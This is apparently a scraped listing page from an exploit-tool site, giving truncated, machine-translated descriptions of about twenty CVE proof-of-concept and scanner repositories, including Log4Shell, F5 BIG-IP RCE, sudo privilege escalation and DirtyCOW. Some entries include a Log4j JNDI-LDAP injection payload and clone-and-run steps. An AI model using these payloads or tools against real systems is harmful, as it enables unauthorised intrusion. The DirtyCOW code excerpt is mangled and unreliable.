cve-2021-46422

Instalação root@kitploit: git clone https://github.com/CJ-0107/cve-2021-46422 cd cve-2021-46422 Uso Como esta ferramenta foi escrita seguindo as especificações de desenvolvimento do framework pocsuite3, é necessário baixar o pocsuite3 antes de usar. Endereço do projeto root@kitploit:...

CVE-2025-3248

中文 ｜ English Scanner di vulnerabilità Langflow Uno scanner di vulnerabilità per CVE-2025-3248 nelle applicazioni Langflow. Funzionalità Scansione di un singolo target o di più target utilizzando FOFA Esecuzione di comandi di sistema sui target vulnerabili Recupero delle informazioni di sistema...

CVE-2017-11427-DEMO

CVE-2017-11427-DEMO Grundlegende Umgebung root@kitploit: $ sudo apt-get install libxml2-dev libxslt1-dev $ sudo apt-get install libxml2-dev libxmlsec1-dev libxmlsec1-openssl DEMO: root@kitploit: $ git clone https://github.com/CHYbeta/CVE-2017-11427-DEMO.git $ cd CVE-2017-11427-DEMO $ source...

CVE-2023-46747

CVE-2023-46747 Uno script di sfruttamento sviluppato per sfruttare la CVE-2023-46747 che consente l'esecuzione remota di codice non autenticata Pre Auth RCE sui prodotti f5-BIG-IP. Questo script è inteso per sfruttare l'esecuzione remota di codice sui prodotti f5-BIG-IP vulnerabili. Installazione...

CVE-2018-17456

CVE-2018-17456 Visão geral da vulnerabilidade Nome da vulnerabilidade: Vulnerabilidade de erro de validação de entrada do Git ID CNNVD: CNNVD-201810-234 Nível de perigo: Crítico ID CVE: CVE-2018-17456 Tipo de vulnerabilidade: Erro de validação de entrada Data de publicação: 2018-10-08 Tipo de...

CVE-2025-32463

CVE-2025-32463 – Exploit EoP di Sudo PoC con libreria precompilata Questo repository contiene un exploit proof-of-concept PoC per CVE-2025-32463 , una vulnerabilità di escalation dei privilegi locale in sudo scoperta da Rich Mirch. Crediti https://github.com/kh4sh3i/CVE-2025-32463 ⚠️ Disclaimer...

CVE-2017-1000117-test

Descrizione del funzionamento Questo sfrutta la vulnerabilità CVE-2017-1000117. Quando si clona questo repository con il comando git con l'opzione --recurse con privilegi di root, viene avviato automaticamente un server http in ascolto sulla porta 12345. Per fermare il server http, trova il numer...

CVE-2025-47827

CVE-2025-47827 Prova di concetto e rapporto di vulnerabilità per CVE-2025-47827. Contenuti Descrizione Divulgazione Impatto Rilevamento Mitigazione Binari Prova di concetto Risorse Descrizione In IGEL OS precedenti alla v11, Secure Boot può essere aggirato perché il modulo igel-flash-driver...

CVE-2021-3129

CVE-2021-3129 CVE-2021-3129-Laravel Debug mode Vulnerabilità di esecuzione remota di codice Versioni interessate e requisiti Laravel = 8.4.2 Ignition 2.5.2 Configurazione dell'ambiente docker pull vulhub/laravel:8.4.2 Utilizzo dell'exploit Nella stessa directory di exploit.py, scarica ed esegui g...

torchat

TorChat - Anonymer P2P-Chat Sicherer, privater und anonymer Peer-to-Peer-Chat über das Tor-Netzwerk. Was ist TorChat? Es ist ein leichtgewichtiges, datenschutzorientiertes Nachrichtentool, mit dem Sie direkt mit anderen über das Tor-Netzwerk kommunizieren können – ohne zentrale Server. Es wurde f...

CVE-2023-44487

HTTP/2 Rapid Reset: CVE-2023-44487 Descrizione Questo repository contiene il codice proof-of-concept PoC per la vulnerabilità HTTP/2 Rapid Reset identificata come CVE-2023-44487. Panoramica della vulnerabilità ID CVE : CVE-2023-44487 Impatto : Denial of Service DoS Protocolli interessati : HTTP/2...

cve-2017-7494

CVE-2017-7494 Questo fa parte di Cved: uno strumento per gestire container docker vulnerabili. Cved: https://github.com/git-rep-src/cved Sorgente immagine: https://github.com/cved-sources/cve-2017-7494 Autore immagine: https://github.com/opsxcq/exploit-CVE-2017-7494...

PoC-Fix-jenkins-rce_CVE-2024-23897

PoC-jenkins-rceCVE-2024-23897. In questa git puoi trovare tutte le informazioni sulla CVE-2024-23897. Introduzione Il problema, assegnato all'identificativo CVE CVE-2024-23897, è stato descritto come una vulnerabilità di lettura arbitraria di file attraverso l'interfaccia a riga di comando...

CVE-2016-5195

CVE-2016-5195 DirtyCOW PoC Modificado de dirtycow.github.ioc include include include include include include include include void map; int f; struct stat st; char name; void madviseThreadvoid arg char str; str = chararg; int i, c = 0; fori = 0; i flag.txt chmod 0404 flag.txt...

rust-cve-2025-55182-scanner

Scanner CVE-2025-55182 Rust Um scanner de vulnerabilidades de alto desempenho e concorrente escrito em Rust para detectar CVE-2025-55182 Next.js Server Actions RCE em vários alvos. 🚀 Funcionalidades ⚡ Implementação Rust de alto desempenho 🧵 Mecanismo de varredura multithread ⏱ Sistema ajustável d...

CVE-2021-44228-Apache-Log4j

CVE-2021-44228 Apache Log4j Esecuzione remota di codice Versioni interessate: tutte le versioni dalla 2.0-beta9 alla 2.12.1 e dalla 2.13.0 alla 2.15.0 Avvisi / bollettini di sicurezza collegati a Log4Shell CVE-2021-44228 Utilizzo: 1. Scarica il progetto, compila InjectClazz.java root@kitploit:...

CVE-2020-11651

CVE-2020-11651 Ein Problem wurde in SaltStack Salt vor Version 2019.2.4 und 3000 vor 3000.2 entdeckt. Die ClearFuncs-Klasse des salt-master-Prozesses validiert Methodenaufrufe nicht ordnungsgemäß. Dadurch kann ein entfernter Benutzer ohne Authentifizierung auf einige Methoden zugreifen. Diese...

Log4J_0day_RCE

Unisciti alla Community Telegram CVE-2021-44228Apache Log4j Esecuzione Remota di Codice） Versioni interessate puoi usare JNDI-Injection-Exploit per effettuare l'exploit. Bypass di rc1 Per esempio: root@kitploit: $jndi:ldap://127.0.0.1:1389/ badClassName...

CVE-2026-29000

CVE-2026-29000: pac4j JWT-Authentifizierungs-Umgehung PoC Proof of Concept für CVE-2026-29000 – Eine kritische Authentifizierungs-Umgehungsschwachstelle in der pac4j-JWT-Implementierung, die es Angreifern ermöglicht, Admin-Token ohne gültige Signatur zu fälschen. ⚠️ HAFTUNGSAUSSCHLUSS Dieses Tool...

CVE-2021-41773

Riproduzione di CVE-2021-41773 https://www.tenable.com/blog/cve-2021-41773-path-traversal-zero-day-in-apache-http-server-exploited Vulnerabilità esclusiva di Apache v2.4.49. Nelle versioni precedenti non esisteva la funzione apnormalizepath, introdotta proprio nella v2.4.49. È stata questa funzio...